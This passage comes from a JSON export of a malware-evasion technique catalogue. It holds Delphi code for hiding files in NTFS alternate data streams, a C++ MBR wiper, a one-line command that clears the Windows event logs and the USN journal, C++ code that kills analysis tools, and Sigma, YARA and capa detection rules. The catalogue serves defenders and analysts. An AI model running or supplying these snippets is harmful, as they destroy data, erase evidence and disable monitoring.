XP.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Enumerate_BackupRead() : Int64;\r\nvar hFile           : THandle;\r\n    AStreamId       : TWIN32StreamID;\r\n    ABytesRead      : Cardinal;\r\n    pContext        : Pointer;\r\n    ALowByteSeeked  : Cardinal;\r\n    AHighByteSeeked : Cardinal;\r\n    AName           : String;\r\n    ABytesToRead    : Cardinal;\r\n    ASeekTo         : LARGE_INTEGER;\r\n    AClose          : Boolean;\r\nbegin\r\n  result := 0;\r\n  AClose := False;\r\n  ///\r\n  hFile := CreateFile(\r\n                        PWideChar(self.TargetFile),\r\n                        GENERIC_READ,\r\n                        FILE_SHARE_READ,\r\n                        nil,\r\n                        OPEN_EXISTING,\r\n                        FILE_FLAG_BACKUP_SEMANTICS,\r\n                        0\r\n  );\r\n  if (hFile = INVALID_HANDLE_VALUE) then\r\n    Exit(-1);\r\n  try\r\n    pContext := nil;\r\n    try\r\n      while True do begin\r\n        FillChar(AStreamId, SizeOf(TWIN32StreamID), #0);\r\n        ///\r\n\r\n        {\r\n          Read Stream\r\n        }\r\n        ABytesToRead := SizeOf(TWIN32StreamID) - 4; // We don't count \"cStreamName\"\r\n\r\n        if NOT BackupRead(hFile, @AStreamId, ABytesToRead, ABytesRead, False, False, pContext) then\r\n          break;\r\n\r\n        AClose := True;\r\n\r\n        if (ABytesRead = 0) then\r\n          break;\r\n\r\n        ASeekTo.QuadPart := (AStreamId.Size + AStreamId.dwStreamNameSize);\r\n\r\n        case AStreamId.dwStreamId of\r\n          {\r\n            Deadling with ADS Only\r\n          }\r\n          BACKUP_ALTERNATE_DATA : begin\r\n            if (AStreamId.dwStreamNameSize > 0) then begin\r\n              {\r\n                Read ADS Name\r\n              }\r\n              ABytesToRead := AStreamId.dwStreamNameSize;\r\n              SetLength(AName, (ABytesToRead div SizeOf(WideChar)));\r\n              if BackupRead(hFile, PByte(AName), ABytesToRead, ABytesRead, False, False, pContext) then begin\r\n                Dec(ASeekTo.QuadPart, ABytesRead); // Already done\r\n\r\n                FItems.Add(TDataStream.Create(self, ExtractADSName(AName), AStreamId.Size));\r\n              end;\r\n            end;\r\n          end;\r\n        end;\r\n\r\n        {\r\n          Goto Next Stream.\r\n        }\r\n        if NOT BackupSeek(hFile, ASeekTo.LowPart, ASeekTo.HighPart, ALowByteSeeked, AHighByteSeeked, pContext) then\r\n          break;\r\n\r\n        (*\r\n          //////////////////////////////////////////////////////////////////////\r\n          // BackupSeek() Alternative (Manual method)\r\n          //////////////////////////////////////////////////////////////////////\r\n\r\n          var ABuffer : array[0..2096-1] of byte;\r\n          // ...\r\n          while True do begin\r\n            if (ASeekTo.QuadPart < SizeOf(ABuffer)) then\r\n              ABytesToRead := ASeekTo.QuadPart\r\n            else\r\n              ABytesToRead := SizeOf(ABuffer);\r\n\r\n            if ABytesToRead = 0 then\r\n              break;\r\n\r\n            if NOT BackupRead(hFile, PByte(@ABuffer), ABytesToRead, ABytesRead, False, False, pContext) then\r\n              break;\r\n            ///\r\n\r\n            Dec(ASeekTo.QuadPart, ABytesRead);\r\n\r\n            if (ASeekTo.QuadPart <= 0) then\r\n              break;\r\n          end;\r\n          // ...\r\n\r\n          //////////////////////////////////////////////////////////////////////\r\n        *)\r\n      end;\r\n    finally\r\n      if AClose then\r\n        BackupRead(hFile, nil, 0, ABytesRead, True, False, pContext);\r\n    end;\r\n  finally\r\n    CloseHandle(hFile);\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Refresh embedded data stream objects using Windows API. Returns number of\r\n  data stream objects or an error identifier.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Refresh() : Int64;\r\nvar AVersion : TOSVersion;\r\nbegin\r\n  result := 0;\r\n  ///\r\n\r\n  if (AVersion.Major >= 6) then begin\r\n    {\r\n      Vista and above\r\n    }\r\n    if self.FForceBackUpReadMethod then\r\n      result := self.Enumerate_BackupRead()\r\n    else\r\n      result := self.Enumerate_FindFirstStream();\r\n  end else if (AVersion.Major = 5) and (AVersion.Minor >= 1) then begin\r\n    {\r\n      Windows XP / Server 2003 & R2\r\n    }\r\n    result := self.Enumerate_BackupRead();\r\n  end else begin\r\n    // Unsupported (???)\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Refresh ADS Files and retrieve one ADS file by it name.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.GetDataStreamFromName(AStreamName : String) : TDataStream;\r\nvar I       : Integer;\r\n    AStream : TDataStream;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  if (self.Refresh() > 0) then begin\r\n    for I := 0 to self.Items.count -1 do begin\r\n      AStream := self.Items.Items[i];\r\n      if NOT Assigned(AStream) then\r\n        continue;\r\n      ///\r\n\r\n      if (String.Compare(AStream.StreamName, AStreamName, True) = 0) then\r\n        result := AStream;\r\n    end;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ADS Classic Actions\r\n    - Copy file to current ADS Location.\r\n    - Copy ADS item to destination path.\r\n    - Delete ADS Item.\r\n-------------------------------------------------------------------------------}\r\n\r\nfunction TEnumDataStream.CopyFromTo(AFrom, ATo : String) : Boolean;\r\nvar hFromFile     : THandle;\r\n    hToFile       : THandle;\r\n\r\n    ABuffer       : array[0..4096-1] of byte;\r\n    ABytesRead    : Cardinal;\r\n    ABytesWritten : Cardinal;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  hFromFile := INVALID_HANDLE_VALUE;\r\n  hToFile   := INVALID_HANDLE_VALUE;\r\n\r\n  try\r\n    hFromFile := CreateFile(PWideChar(AFrom), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);\r\n    if (hFromFile = INVALID_HANDLE_VALUE) then\r\n      Exit();\r\n\r\n    hToFile := CreateFile(\r\n                            PWideChar(ATo),\r\n                            GENERIC_WRITE,\r\n                            FILE_SHARE_WRITE,\r\n                            nil,\r\n                            CREATE_ALWAYS,\r\n                            FILE_ATTRIBUTE_NORMAL,\r\n                            0\r\n    );\r\n\r\n    if (hToFile = INVALID_HANDLE_VALUE) then\r\n      Exit();\r\n    ///\r\n\r\n    while True do begin\r\n      {\r\n        Read\r\n      }\r\n      if NOT ReadFile(hFromFile, ABuffer, SizeOf(ABuffer), ABytesRead, nil) then\r\n        Exit();\r\n\r\n      if ABytesRead = 0 then\r\n        break; // Success\r\n\r\n      {\r\n        Write\r\n      }\r\n      if NOT WriteFile(hToFile, ABuffer, ABytesRead, ABytesWritten, nil) then\r\n        Exit();\r\n\r\n      if (ABytesWritten <> ABytesRead) then\r\n        Exit();\r\n    end;\r\n\r\n    ///\r\n    result := True;\r\n  finally\r\n    if hFromFile <> INVALID_HANDLE_VALUE then\r\n      CloseHandle(hFromFile);\r\n\r\n    if hToFile <> INVALID_HANDLE_VALUE then\r\n      CloseHandle(hToFile);\r\n\r\n    ///\r\n    self.Refresh();\r\n  end;\r\nend;\r\n\r\nfunction TEnumDataStream.CopyFileToADS(AFilePath : String) : Boolean;\r\nbegin\r\n  result := CopyFromTo(AFilePath, Format('%s:%s', [self.FTargetFile, ExtractFileName(AFilePath)]));\r\nend;\r\n\r\nfunction TEnumDataStream.BackupFromADS(ADataStream : TDataStream; ADestPath : String) : Boolean;\r\nbegin\r\n  result := False;\r\n\r\n  if NOT Assigned(ADataStream) then\r\n    Exit();\r\n\r\n  result := CopyFromTo(ADataStream.StreamPath, Format('%s%s', [IncludeTrailingPathDelimiter(ADestPath), ADataStream.StreamName]));\r\nend;\r\n\r\nfunction TEnumDataStream.DeleteFromADS(ADataStream : TDataStream) : Boolean;\r\nbegin\r\n  result := DeleteFile(ADataStream.StreamPath);\r\nend;\r\n\r\nfunction TEnumDataStream.BackupAllFromADS(ADestPath : String) : TADSBackupStatus;\r\nvar I       : integer;\r\n    AStream : TDataStream;\r\nbegin\r\n  result := absError;\r\n  ///\r\n\r\n  if (self.Refresh() > 0) then begin\r\n    for I := 0 to self.Items.count -1 do begin\r\n      AStream := self.Items.Items[i];\r\n      if NOT Assigned(AStream) then\r\n        continue;\r\n      ///\r\n\r\n      if AStream.BackupFromADS(ADestPath) and (result <> absPartial) then\r\n        result := absTotal\r\n      else\r\n        result := absPartial;\r\n    end;\r\n  end;\r\nend;\r\n\r\nfunction TEnumDataStream.BackupFromADS(AStreamName, ADestPath : String) : Boolean;\r\nvar AStream : TDataStream;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  AStream := self.GetDataStreamFromName(AStreamName);\r\n  if Assigned(AStream) then\r\n    result := self.BackupFromADS(AStream, ADestPath);\r\nend;\r\n\r\nfunction TEnumDataStream.DeleteFromADS(AStreamName : String) : Boolean;\r\nvar AStream : TDataStream;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  AStream := self.GetDataStreamFromName(AStreamName);\r\n  if Assigned(AStream) then\r\n    result := self.DeleteFromADS(AStream);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___constructor\r\n-------------------------------------------------------------------------------}\r\nconstructor TEnumDataStream.Create(ATargetFile : String; AEnumerateNow : Boolean = True; AForceBackUpReadMethod : Boolean = False);\r\nbegin\r\n  self.FTargetFile := ATargetFile;\r\n  self.FForceBackUpReadMethod := AForceBackupReadMethod;\r\n\r\n  FItems := TObjectList<TDataStream>.Create();\r\n  FItems.OwnsObjects := True;\r\n\r\n  if AEnumerateNow then\r\n    self.Refresh();\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___destructor\r\n-------------------------------------------------------------------------------}\r\ndestructor TEnumDataStream.Destroy();\r\nbegin\r\n  if Assigned(FItems) then\r\n    FreeAndNil(FItems);\r\n\r\n  ///\r\n  inherited Destroy();\r\nend;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n   TDataStream\r\n\r\n\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\nconstructor TDataStream.Create(AOwner : TEnumDataStream; AStreamName : String; AStreamSize : Int64);\r\nbegin\r\n  self.FOwner      := AOwner;\r\n  self.FStreamName := AStreamName;\r\n  self.FStreamSize := AStreamSize;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Generate Stream Path Accordingly\r\n-------------------------------------------------------------------------------}\r\nfunction TDataStream.GetStreamPath() : String;\r\nbegin\r\n  result := '';\r\n\r\n  if NOT Assigned(FOwner) then\r\n    Exit();\r\n\r\n  result := Format('%s:%s', [FOwner.TargetFile, self.FStreamName]);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ADS Classic Actions (Redirected to Owner Object)\r\n-------------------------------------------------------------------------------}\r\n\r\nfunction TDataStream.CopyFileToADS(AFileName : String) : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.CopyFileToADS(AFileName);\r\nend;\r\n\r\nfunction TDataStream.BackupFromADS(ADestPath : String) : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.BackupFromADS(self, ADestPath);\r\nend;\r\n\r\nfunction TDataStream.DeleteFromADS() : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.DeleteFromADS(self);\r\nend;\r\n\r\n// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\ninitialization\r\n  _FindFirstStreamW := nil;\r\n  _FindNextStreamW  := nil;\r\n\r\n  hKernel32 := LoadLibrary('KERNEL32.DLL');\r\n  if (hKernel32 > 0) then begin\r\n    @_FindFirstStreamW := GetProcAddress(hKernel32, 'FindFirstStreamW');\r\n    @_FindNextStreamW := GetProcAddress(hKernel32, 'FindNextStreamW');\r\n  end;\r\n\r\nfinalization\r\n  _FindFirstStreamW := nil;\r\n  _FindNextStreamW  := nil;\r\n\r\nend."
                }
            ],
            "detection_rules": []
        },
        {
            "name": "Hiding Mechanisms",
            "category": [
                "https://search.unprotect.it/api/categories/14/?format=api"
            ],
            "description": "There are many places in the system that can be used by malware to hide their presence. An example can be registry, critical system files, lnk file, temporary folders...",
            "resources": "https://www.cimcor.com/blog/5-places-ransomware-and-malware-can-hide-that-you-may-never-check",
            "tags": "hide",
            "snippets": [],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/3/?format=api",
                    "name": "hide_in_aoppdata",
                    "rule": "title: Copy itself to suspicious location via type command \r\nstatus: experimental\r\ndescription: Copy itself to suspicious location via type command\r\nauthor: Joe Security\r\ndate: 2020-02-13\r\nid: 200052\r\nthreatname:\r\nbehaviorgroup: 10\r\nclassification: 1\r\nmitreattack:\r\n\r\nlogsource:\r\n      category: process_creation\r\n      product: windows\r\ndetection:\r\n      selection:      \r\n          CommandLine:\r\n              - '*cmd*type*>*\\AppData*'\r\n      condition: selection\r\nlevel: critical"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/3/?format=api",
                    "name": "hide_copy_melt",
                    "rule": "title: Hide copy and delete itself\r\nstatus: experimental\r\ndescription: Hide copy via attrib.exe and delete itself\r\nauthor: Joe Security\r\ndate: 2019-11-12\r\nid: 200025\r\nthreatname:\r\nbehaviorgroup: 1\r\nclassification: 8\r\nmitreattack: \r\n\r\nlogsource:\r\n      category: process_creation\r\n      product: windows\r\ndetection:\r\n      selection:      \r\n          CommandLine:\r\n              - '*attrib +s +h *timeout /t *del /f /q*'\r\n      condition: selection\r\nlevel: critical"
                }
            ]
        },
        {
            "name": "Wiping or Encrypting",
            "category": [
                "https://search.unprotect.it/api/categories/8/?format=api"
            ],
            "description": "Malware can use wiping or encryption techniques to remove its trace from the system. They can also use this technique as a decoy but also for sabotage operations.",
            "resources": "https://securingtomorrow.mcafee.com/business/pseudo-ransomware-killdisk-creates-smoke-screen-cybercriminals/",
            "tags": "wiping, encryption",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/3/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/134/?format=api",
                    "description": "Warning: the code below is a simple MBR wiper. It is currently not operational for obvious reasons.",
                    "plain_code": "#include <Windows.h>\r\n#include <iostream>\r\n#include <ctime>\r\n#include <stdio.h>\r\n\r\n#define MBR_SIZE 512\r\n\r\nusing namespace std;\r\n\r\nint WipeMBR(void) {\r\n    char dmbr[MBR_SIZE];\r\n\r\n    ZeroMemory(&dmbr, sizeof(dmbr));\r\n    HANDLE disk = CreateFile((LPCSTR)\"\\\\\\\\.\\\\PhysicalDrive0\", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);\r\n    WriteFile(disk, dmbr, MBR_SIZE, &write, NULL);\r\n    CloseHandle(disk);\r\n    return 0;\r\n}\r\n\r\nint main() {\r\n    cout << \"Start Wiping\" << endl;\r\n    WipeMBR();\r\n    return 0;\r\n}"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/1/?format=api",
                    "name": "UNPROTECT_wiping_event",
                    "rule": "rule UNPROTECT_wiping_event\r\n{\r\n    meta:\r\n        description = \"Rule to detect wiping events logs\"\r\n        author = \"McAfee ATR team | Thomas Roccia\"\r\n        date = \"2020-11-10\"\r\n        rule_version = \"v1\"\r\n        mitre = \"T1070\"\r\n        hash = \"c063c86931c662c1a962d08915d9f3a8\"\r\n\r\n    strings:\r\n        $s1 = \"wevtutil.exe\" ascii wide nocase\r\n        $s2 = \"cl Application\" ascii wide nocase\r\n        $s3 = \"cl System\" ascii wide nocase\r\n        $s4 = \"cl Setup\" ascii wide nocase\r\n        $s5 = \"cl Security\" ascii wide nocase\r\n        $s6 = \"sl Security /e:false\" ascii wide nocase\r\n        $s7= \"usn deletejournal /D\" ascii wide nocase\r\n\r\n    condition:\r\n        uint16(0) == 0x5a4d and 4 of them\r\n}"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/1/?format=api",
                    "name": "Shamoon_Wiper",
                    "rule": "import \"pe\"\r\n\r\nrule Shamoon2_Wiper {\r\n   meta:\r\n      description = \"Detects Shamoon 2.0 Wiper Component\"\r\n      author = \"Florian Roth\"\r\n      reference = \"https://goo.gl/jKIfGB\"\r\n      date = \"2016-12-01\"\r\n      score = 70\r\n      hash1 = \"c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a\"\r\n      hash2 = \"128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd\"\r\n   strings:\r\n      $a1 = \"\\\\??\\\\%s\\\\System32\\\\%s.exe\" fullword wide\r\n      $x1 = \"IWHBWWHVCIDBRAFUASIIWURRTWRTIBIVJDGWTRRREFDEAEBIAEBJGGCSVUHGVJUHADIEWAFGWADRUWDTJBHTSITDVVBCIDCWHRHVTDVCDESTHWSUAEHGTWTJWFIRTBRB\" wide\r\n      $s1 = \"UFWYNYNTS\" fullword wide\r\n      $s2 = \"\\\\\\\\?\\\\ElRawDisk\" fullword wide\r\n   condition:\r\n      ( uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them ) or ( 3 of them )\r\n}\r\n\r\nrule EldoS_RawDisk {\r\n   meta:\r\n      description = \"EldoS Rawdisk Device Driver (Commercial raw disk access driver - used in Operation Shamoon 2.0)\"\r\n      author = \"Florian Roth (with Binar.ly)\"\r\n      reference = \"https://goo.gl/jKIfGB\"\r\n      date = \"2016-12-01\"\r\n      score = 50\r\n      hash1 = \"47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34\"\r\n      hash2 = \"394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b\"\r\n   strings:\r\n      $s1 = \"g\\\\system32\\\\\" fullword wide\r\n      $s2 = \"ztvttw\" fullword wide\r\n      $s3 = \"lwizvm\" fullword ascii\r\n      $s4 = \"FEJIKC\" fullword ascii\r\n      $s5 = \"INZQND\" fullword ascii\r\n      $s6 = \"IUTLOM\" fullword wide\r\n      $s7 = \"DKFKCK\" fullword ascii\r\n\r\n      $op1 = { 94 35 77 73 03 40 eb e9 }\r\n      $op2 = { 80 7c 41 01 00 74 0a 3d }\r\n      $op3 = { 74 0a 3d 00 94 35 77 }\r\n   condition:\r\n      ( uint16(0) == 0x5a4d and filesize < 2000KB and 4 of them )\r\n}"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/2/?format=api",
                    "name": "clear_log",
                    "rule": "rule:\r\n  meta:\r\n    name: clear the Windows event log\r\n    namespace: anti-analysis/anti-forensic/clear-logs\r\n    author: michael.hunhoff@fireeye.com\r\n    scope: basic block\r\n    att&ck:\r\n      - Defense Evasion::Indicator Removal on Host::Clear Windows Event Logs [T1070.001]\r\n    examples:\r\n      - 82BF6347ACF15E5D883715DC289D8A2B:0x14005E0C0\r\n  features:\r\n    - and:\r\n      - api: advapi32.ElfClearEventLogFile\r\n      - optional:\r\n        - api: advapi32.OpenEventLog"
                }
            ]
        },
        {
            "name": "Clear Windows Event Logs",
            "category": [
                "https://search.unprotect.it/api/categories/8/?format=api",
                "https://search.unprotect.it/api/categories/10/?format=api"
            ],
            "description": "Event logging provides a standard, centralized way for applications (and the operating system) to record important software and hardware events. The event logging service records events from various sources and stores them in a single collection called an event log.\r\n\r\nEvent logs can be very useful for investigating a computer after an intrusion and understanding the actions taken by an attacker. To avoid a forensic investigation, attackers can delete or clear event logs to avoid understanding the attack.",
            "resources": "https://0x00sec.org/t/anti-forensic-and-file-less-malware/10008#221-disabling-event-logging\r\nhttps://attack.mitre.org/techniques/T1070/001/",
            "tags": "event, log",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/7/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/2/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/133/?format=api",
                    "description": "Common commands found in malware.",
                    "plain_code": "wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/2/?format=api",
                    "name": "clear_log",
                    "rule": "rule:\r\n  meta:\r\n    name: clear the Windows event log\r\n    namespace: anti-analysis/anti-forensic/clear-logs\r\n    author: michael.hunhoff@fireeye.com\r\n    scope: basic block\r\n    att&ck:\r\n      - Defense Evasion::Indicator Removal on Host::Clear Windows Event Logs [T1070.001]\r\n    examples:\r\n      - 82BF6347ACF15E5D883715DC289D8A2B:0x14005E0C0\r\n  features:\r\n    - and:\r\n      - api: advapi32.ElfClearEventLogFile\r\n      - optional:\r\n        - api: advapi32.OpenEventLog"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/2/?format=api",
                    "name": "crash_eventlog",
                    "rule": "rule:\r\n  meta:\r\n    name: crash the Windows event logging service\r\n    namespace: anti-analysis/anti-forensic\r\n    author: michael.hunhoff@fireeye.com\r\n    scope: basic block\r\n    att&ck:\r\n      - Defense Evasion::Impair Defenses::Disable Windows Event Logging [T1562.002]\r\n    references:\r\n      - https://github.com/limbenjamin/LogServiceCrash\r\n    examples:\r\n      - 82BF6347ACF15E5D883715DC289D8A2B:0x14005E0C0\r\n  features:\r\n    - and:\r\n      - count(api(advapi32.ElfClearEventLogFileW)): 3 or more\r\n      - count(api(advapi32.OpenEventLogA)): 1 or more"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/3/?format=api",
                    "name": "stop_service",
                    "rule": "title: Stop multiple services\r\nstatus: experimental\r\ndescription: Stop multiple services\r\nauthor: Joe Security\r\ndate: 2019-12-30\r\nid: 200040\r\nthreatname:\r\nbehaviorgroup: 18\r\nclassification: 8\r\nmitreattack:\r\n\r\nlogsource:\r\n      category: process_creation\r\n      product: windows\r\ndetection:\r\n      selection:      \r\n          CommandLine:\r\n              - '*cmd*net stop*& net stop*& net stop*& net stop*& net stop*& net stop*& net stop*'\r\n      condition: selection\r\nlevel: critical"
                }
            ]
        },
        {
            "name": "Kill Process",
            "category": [
                "https://search.unprotect.it/api/categories/6/?format=api"
            ],
            "description": "Malware can kill processes such as AV process or monitoring process. For example, \"wireshark.exe\", \"ida.exe\", \"procmon.exe\" or any other process related to malware analysis tools in order to avoid the investigation.",
            "resources": "https://www.bleepingcomputer.com/news/security/coinminer-comes-with-a-process-kill-list-to-keep-competitors-at-bay/",
            "tags": "kill",
            "snippets": [
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/13/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/131/?format=api",
                    "description": "",
                    "plain_code": "#include <iostream>\r\n#include <Windows.h>\r\n#include <Psapi.h>\r\n#include <vector>\r\n#include <TlHelp32.h>\r\n\r\n#pragma comment(lib, \"Psapi\")\r\n#pragma comment(lib,\"ntdll.lib\")\r\n\r\ntypedef NTSTATUS(NTAPI* _NtGetNextProcess)(\r\n\t_In_ HANDLE ProcessHandle,\r\n\t_In_ ACCESS_MASK DesiredAccess,\r\n\t_In_ ULONG HandleAttributes,\r\n\t_In_ ULONG Flags,\r\n\t_Out_ PHANDLE NewProcessHandle\r\n\t);\r\n\r\nstd::vector<std::string> procs =\r\n{\r\n\t\"ProcessHacker.exe\", \r\n\t\"Wireshark.exe\"\r\n};\r\n\r\nauto terminate_process() -> void\r\n{\r\n\tHMODULE ntdll = GetModuleHandleA(\"ntdll.dll\");\r\n\tHANDLE currp = nullptr;\r\n\tchar buf[1024] = { 0 };\r\n\r\n\t_NtGetNextProcess NtGetNextProcess = (_NtGetNextProcess)GetProcAddress(ntdll, \"NtGetNextProcess\");\r\n\r\n\tfor (int i = 0; i < procs.size(); i++) {\r\n\t\tdo {\r\n\t\t\tGetModuleFileNameExA(currp, 0, buf, MAX_PATH);\r\n\t\t\tif (strstr(buf, procs[i].c_str()))\r\n\t\t\t\tTerminateProcess(currp, -1);\r\n\t\t} while (!NtGetNextProcess(currp, MAXIMUM_ALLOWED, 0, 0, &currp));\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tterminate_process();\r\n\treturn 0;\r\n}"
                },
                {
                    "language": "https://search.unprotect.it/api/snippet_languages/2/?format=api",
                    "author": "https://search.unprotect.it/api/snippet_authors/2/?format=api",
                    "technique": "https://search.unprotect.it/api/techniques/131/?format=api",
                    "description": "Using the `CreateToolhelp32Snapshot` API, it is possible to list the running process and compare it with a blacklist to kill them.",
                    "plain_code": "#include <iostream>\r\n#include <string>\r\n#include <tchar.h>\r\n#include <process.h>\r\n#include <windows.h>\r\n#include <tlhelp32.h>\r\n\r\nusing namespace std;\r\n\r\nBOOL GetProcessList();\r\nBOOL TerminateMyProcess(DWORD dwProcessId, UINT uExitCode);\r\n\r\nint main( void )\r\n{\r\n  GetProcessList( );\r\n  return 0;\r\n}\r\n\r\nBOOL GetProcessList( )\r\n{\r\n  HANDLE hProcessSnap;\r\n  HANDLE hProcess;\r\n  PROCESSENTRY32 pe32;\r\n  DWORD dwPriorityClass;\r\n\r\n  //Blacklisted processes\r\n  LPSTR ProcessName[] = { \"ida.Exe\",\r\n                          \"ProcMon.exe\",\r\n                          \"Olldbg.exe\",\r\n                          \"Wireshark.exe\",\r\n                          \"iexplore.exe\"\r\n                            };\r\n\r\n  // Take a snapshot of processes\r\n  hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );\r\n  if( hProcessSnap == INVALID_HANDLE_VALUE )\r\n  {\r\n    return( FALSE );\r\n  }\r\n\r\n  pe32.dwSize = sizeof( PROCESSENTRY32 );\r\n\r\n  if( !Process32First( hProcessSnap, &pe32 ) )\r\n  {\r\n    CloseHandle( hProcessSnap );\r\n    return( FALSE );\r\n  }\r\n\r\n  do\r\n  {\r\n    string str(pe32.szExeFile);\r\n\r\n    for (int i = 0; i < (sizeof(ProcessName) / sizeof(LPSTR)); i++)\r\n    {\r\n         if(str == ProcessName[i])\r\n         {\r\n             cout << \"[*] processus exists: \" << (ProcessName[i]) << endl;\r\n             TerminateBlacklistedProcess(pe32.th32ProcessID, 1);\r\n         }\r\n    }\r\n  } while( Process32Next( hProcessSnap, &pe32 ) );\r\n\r\n  CloseHandle( hProcessSnap );\r\n  return( TRUE );\r\n}\r\n\r\n// Terminate the blacklisted processes\r\nBOOL TerminateBlacklistedProcess(DWORD dwProcessId, UINT uExitCode)\r\n{\r\n    DWORD dwDesiredAccess = PROCESS_TERMINATE;\r\n    BOOL  bInheritHandle  = FALSE;\r\n    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);\r\n    if (hProcess == NULL)\r\n        return FALSE;\r\n\r\n    BOOL result = TerminateProcess(hProcess, uExitCode);\r\n\r\n    CloseHandle(hProcess);\r\n\r\n    return result;\r\n}"
                }
            ],
            "detection_rules": [
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/1/?format=api",
                    "name": "UNPROTECT_disable_process",
                    "rule": "import \"pe\"\r\n\r\nrule UNPROTECT_disable_process\r\n{\r\n    meta:\r\n\tauthor = \"Thomas Roccia | @fr0gger_\"\r\n\tdescription = \"Disable blacklisted processes\"\r\n\r\n    strings:\r\n        $api1 = \"CreateToolhelp32Snapshot\" nocase\r\n        $api2 = \"Process32First\" nocase\r\n        $api3 = \"Process32Next\" nocase\r\n\r\n        $p1 = \"taskkill.exe\" nocase\r\n        $p2 = \"tskill.exe\" nocase\r\n\r\ncondition:\r\n        uint32(uint32(0x3C)) == 0x4550 and 3 of ($api*) or any of ($p*) \r\n}"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/2/?format=api",
                    "name": "kill_process",
                    "rule": "rule:\r\n  meta:\r\n    name: reference analysis tools strings\r\n    namespace: anti-analysis\r\n    author: michael.hunhoff@fireeye.com\r\n    scope: file\r\n    mbc:\r\n      - Discovery::Analysis Tool Discovery::Process Detection [B0013.001]\r\n    references:\r\n      - https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiAnalysis/process.cpp\r\n    examples:\r\n      - al-khaser_x86.exe_\r\n  features:\r\n    - or:\r\n      - string: /ollydbg.exe/i\r\n      - string: /ProcessHacker.exe/i\r\n      - string: /tcpview.exe/i\r\n      - string: /autoruns.exe/i\r\n      - string: /autorunsc.exe/i\r\n      - string: /filemon.exe/i\r\n      - string: /procmon.exe/i\r\n      - string: /regmon.exe/i\r\n      - string: /procexp.exe/i\r\n      - string: /idaq.exe/i\r\n      - string: /idaq64.exe/i\r\n      - string: /ImmunityDebugger.exe/i\r\n      - string: /Wireshark.exe/i\r\n      - string: /dumpcap.exe/i\r\n      - string: /HookExplorer.exe/i\r\n      - string: /ImportREC.exe/i\r\n      - string: /PETools.exe/i\r\n      - string: /LordPE.exe/i\r\n      - string: /SysInspector.exe/i\r\n      - string: /proc_analyzer.exe/i\r\n      - string: /sysAnalyzer.exe/i\r\n      - string: /sniff_hit.exe/i\r\n      - string: /windbg.exe/i\r\n      - string: /joeboxcontrol.exe/i\r\n      - string: /joeboxserver.exe/i\r\n      - string: /ResourceHacker.exe/i\r\n      - string: /x32dbg.exe/i\r\n      - string: /x64dbg.exe/i\r\n      - string: /Fiddler.exe/i\r\n      - string: /httpdebugger.exe/i\r\n      - string: /fakenet.exe/i\r\n      - string: /netmon.exe/i\r\n      - string: /WPE PRO.exe/i\r\n      - string: /decompile.exe/i"
                },
                {
                    "type": "https://search.unprotect.it/api/detection_rule_categories/3/?format=api",
                    "name": "kill_process",
